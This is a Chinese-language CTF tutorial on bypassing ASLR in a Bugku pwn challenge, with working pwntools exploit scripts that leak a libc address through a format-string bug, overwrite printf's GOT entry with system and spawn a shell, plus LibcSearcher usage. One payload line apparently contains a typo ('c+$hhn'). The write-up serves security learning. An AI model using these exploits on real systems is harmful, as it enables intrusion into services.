pwn 入门到放弃 5- 绕过地址随机化及 LibcSearcher

前面的学习测试中,一般都是关闭了地址随机化来测试以及学习的。但是一般情况下,除了基址,其它的地址一般都是开启了随机化保护的。

0x00 准备工作

0x01 pwngdb&pwndbg

peda 的插件虽然好用,但是 pwn 专属的调试插件会更好用。安装教程如下:

pwngdb

cd ~/
git clone https://github.com/scwuaptx/Pwngdb.git 
cp ~/Pwngdb/.gdbinit ~/

pwndbg

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

避坑

在 home 目录下的.gdbinit 文件里面是没有 pwndbg 信息的 (如果安装的时候没写进去的话)

vim ~/.gdbinit
然后写入
source ~/pwndbg/gdbinit.py

然后按照如下内容进行修改即可,顺序最好和以下一致,以防出现意外。

然后测试一下:

使用方法 & 参考资料:

资料一:安装及配置

资料二:命令参考

0x02 repeater

这次使用 bugku 的 pwn 题 repeater,是比较高质量的题目案例。

0x10 绕过地址随机化

0x11 分析思路

保护检查,只有 NX

IDA 查看

这个可以看到是格式化字符串的漏洞了,但是程序中没有 system 函数所以没有基址。

0x12 攻击思路

  1. 在程序运行过程中查找到system函数以及地址
  2. 获取printf函数的 got 表地址
  3. 劫持printf函数为system函数
  4. 执行 system('bin/sh')

关键就在这一步,怎么在程序运行中找到system函数的地址,可以使用 gdb 调试然后找到system地址,但是运行就会发现报错,这是因为程序每次运行地址都是随机化的。这里我们找的其实就是程序加载的 libc 文件中的system地址。所以需要先找到程序使用的 libc 文件,使用如下命令

ldd ./pwn7

得到 /lib/i386-linux-gnu/libc.so.6,此时就可以很轻松的得到 libc 中的函数的偏移(使用 pwntools 分析 elf 文件的方式)。

libc 加载运行时,它的内部的函数的地址偏移量是不会发送变化的,elf 程序运行时会虚拟化一个地址(libc 的基址),然后分配给 libc,从这里加载并运行 libc 文件,但是 libc 作为一个整体是不会被打乱拆散的。所以现在就想办法到 libc_base 即可。

0x13 调试程序

  • 使用 b printf 在 printf 处下断点(原因见下文)
  • 输入 r 执行程序
  • 程序提示用户输入
  • 输入任意内容后回车
  • 此时程序运行到 printf 语句停止

输入 stack 50 命令查看栈情况

  • 可以看到,在 0xffffcf50 处为之前输入的 flag
  • 在 0xffffcfdc 处为 libc_start_main+245
  • 使用 fmtarg 0xffffcfdc 算出偏移,此处知道了为 %35$p

程序停在了printf函数,此时的栈刚好就是函数调用的栈内偏移的情况,所以如果不使用 fmtarg 的话,可以看到 0xffffcfdc 处最左边是行数(也是栈偏移量),可以得到 0x24 = 36,所以是 %35$p,所以可以通过输入%35$p来泄露 libc_start_main 的地址。

使用 libc_start_main 的地址减去 libc_start_main 在 libc 中的偏移就得到了 libc_base。

0x14 pwntools 实现

#coding=utf-8
from pwn import *

context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']

p = process('./pwn7')
#输入%35$p,暴露libc_start_main的地址
p.sendafter('repeater','%35$p')
p.recvuntil('0x',drop=True)
libc_start_main = int(p.recv(8),16)-245
#此处使用ldd pwn7查看本机使用的libc
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc_base = libc_start_main - libc.symbols['__libc_start_main']   #libc基址
log.success('libc_base  \t: ' + hex(libc_base)) 
system = libc.symbols['system'] + libc_base   #此libc的system地址
log.success('libc_system\t: ' + hex(system))

#获取文件的printf的got表地址
elf = ELF('./pwn7')
printf_GOT = elf.got['printf']
log.success('printf_GOT\t: '+hex(printf_GOT))

#格式字符串漏洞套路,分段
ch0 = system&0xff
ch1 = (((system>>8)&0xff) - ch0)&0xff
ch2 = (((system>>16)&0xff) - ((system>>8)&0xff))&0xff
ch3 = (((system>>24)&0xff) - ((system>>16)&0xff))&0xff
payload = "%" + str(ch0) + "c%18$hhn"
payload += "%" + str(ch1) + "c%19$hhn"
payload += "%" + str(ch2) + "c+$hhn"
payload += "%" + str(ch3) + "c%21$hhn"
payload = payload.ljust(48,'a').encode()
#改写printf的got表,把prinf的got表改为system地址
payload += p32(printf_GOT)
payload += p32(printf_GOT + 1)
payload += p32(printf_GOT + 2)
payload += p32(printf_GOT + 3)

p.send(payload)
p.recvline()
#这时已经改写好了,直接system('/bin/sh')
p.send('/bin/sh\x00')
p.interactive()

构造 payload 这里是进行 byte 写的,将地址放在最后面,但是可以会造成地址未对齐,所以使用 ljust 方法进行填充,简单分析:

一个 byte 最大为 0xff(256),所以 str(ch*)的位数为 1 到 3,按照最大值 3 计算,每写一个 byte 需要构造的 payload 长度为 len("%256c%18$hhn") = 12,所以四个 byte 需要 4 * 12 = 48 个字节的长度,在 32 程序中,4 个 byte 刚好是一个参数的长度,48bytes 则是 12 个参数,栈传递到输入的值则是%6$p(可以使用 fmtarg 或者一个一个输入测试),所以填充到 48 之后,参数就是从%18$p开始了。

此时,就成功绕过了地址随机化的问题。

0x20 LIbcSearcher

在本地成功了,但是如果换成远程连接的话,就又会出错了,因为每台主机使用的 libc 文件不一定是相同的,libc 的版本非常多,只用你自己的 libc 文件去撞其他主机,成功的可能性是很低的。这就需要用到另一个工具:LIbcSearcher。

0x21 安装

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop

0x22 使用方法示例

libc = LibcSearcher("gets",gets_real_addr)			#通过泄露的函数的地址来查找可能的libc

libcbase = gets_real_addr – obj.dump("fgets")		#libc基址
system_addr = libcbase + obj.dump("system")     	#system地址
bin_sh_addr = libcbase + obj.dump("str_bin_sh")		#/bin/sh地址

0x23 exp

#coding=utf-8
from pwn import *
from LibcSearcher import *

context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']
   
#远程环境
p = remote("asteri5m.icu",10000)#bugku环境要金币,所以我自己搭建了
#输入%35$p,暴露libc_start_main的地址
p.sendafter('repeater','%35$p')
p.recvuntil('0x',drop=True)
#本地是减245没错,但是远程就会失败,查找不到,百度其他师傅是247,嗯……很怪
libc_start_main=int(p.recv(8),16)-247
#查找可能的libc
libc=LibcSearcher("__libc_start_main", libc_start_main)
libc_base=libc_start_main-libc.dump('__libc_start_main')  #libc基址
log.success('libc_base  \t: '+hex(libc_base))
system=libc.dump('system')+libc_base   #此libc的system地址
log.success('libc_system\t: '+hex(system))

#获取文件的printf的got表地址
elf = ELF('./pwn7')
printf_GOT = elf.got['printf']
log.success('printf_GOT\t: '+hex(printf_GOT))

#格式字符串漏洞套路,使用fmtstr_payload快速构造payload
payload = fmtstr_payload(6, {printf_GOT : system}, numbwritten = 0, write_size = 'byte')

p.send(payload)
p.recvline()
#这时已经改写好了,直接system('/bin/sh')
p.send('/bin/sh\x00')
p.interactive()

搜索到 6 个可能的 libc,选择第二个即可

成功 cat 了 flag

0x24 fmtstr_payload

fmtstr_payload 是 pwntools 里面的一个小工具 ,简化格式化字符串 payload 的构造

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)

第一个参数表示格式化字符串的偏移;

第二个参数表示需要利用 %n 写入的数据,采用字典形式,我们要将 printf 的 GOT 数据改为 system 函数地址,就写成 {printfGOT: systemAddress};

第三个参数表示已经输出的字符个数,这里没有,为 0,采用默认值即可;

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着 hhn、hn 和 n,默认值是 byte,即按 hhn 写。

fmtstr_payload 函数返回的就是 payload

fmstr_payload 的官方文档 : https://docs.pwntools.com/en/stable/fmtstr.html

0x30 总结

  1. 找到 libc_start_main 在栈内的偏移,使用 %p 暴露该地址
  2. 利用 LibcSearcher 猜测使用的 libc,算出 libc 基址
  3. 计算出此 libc 的 system 地址
  4. 把 prinf 的 got 表改为 system 地址
  5. 执行 system(’/bin/sh’)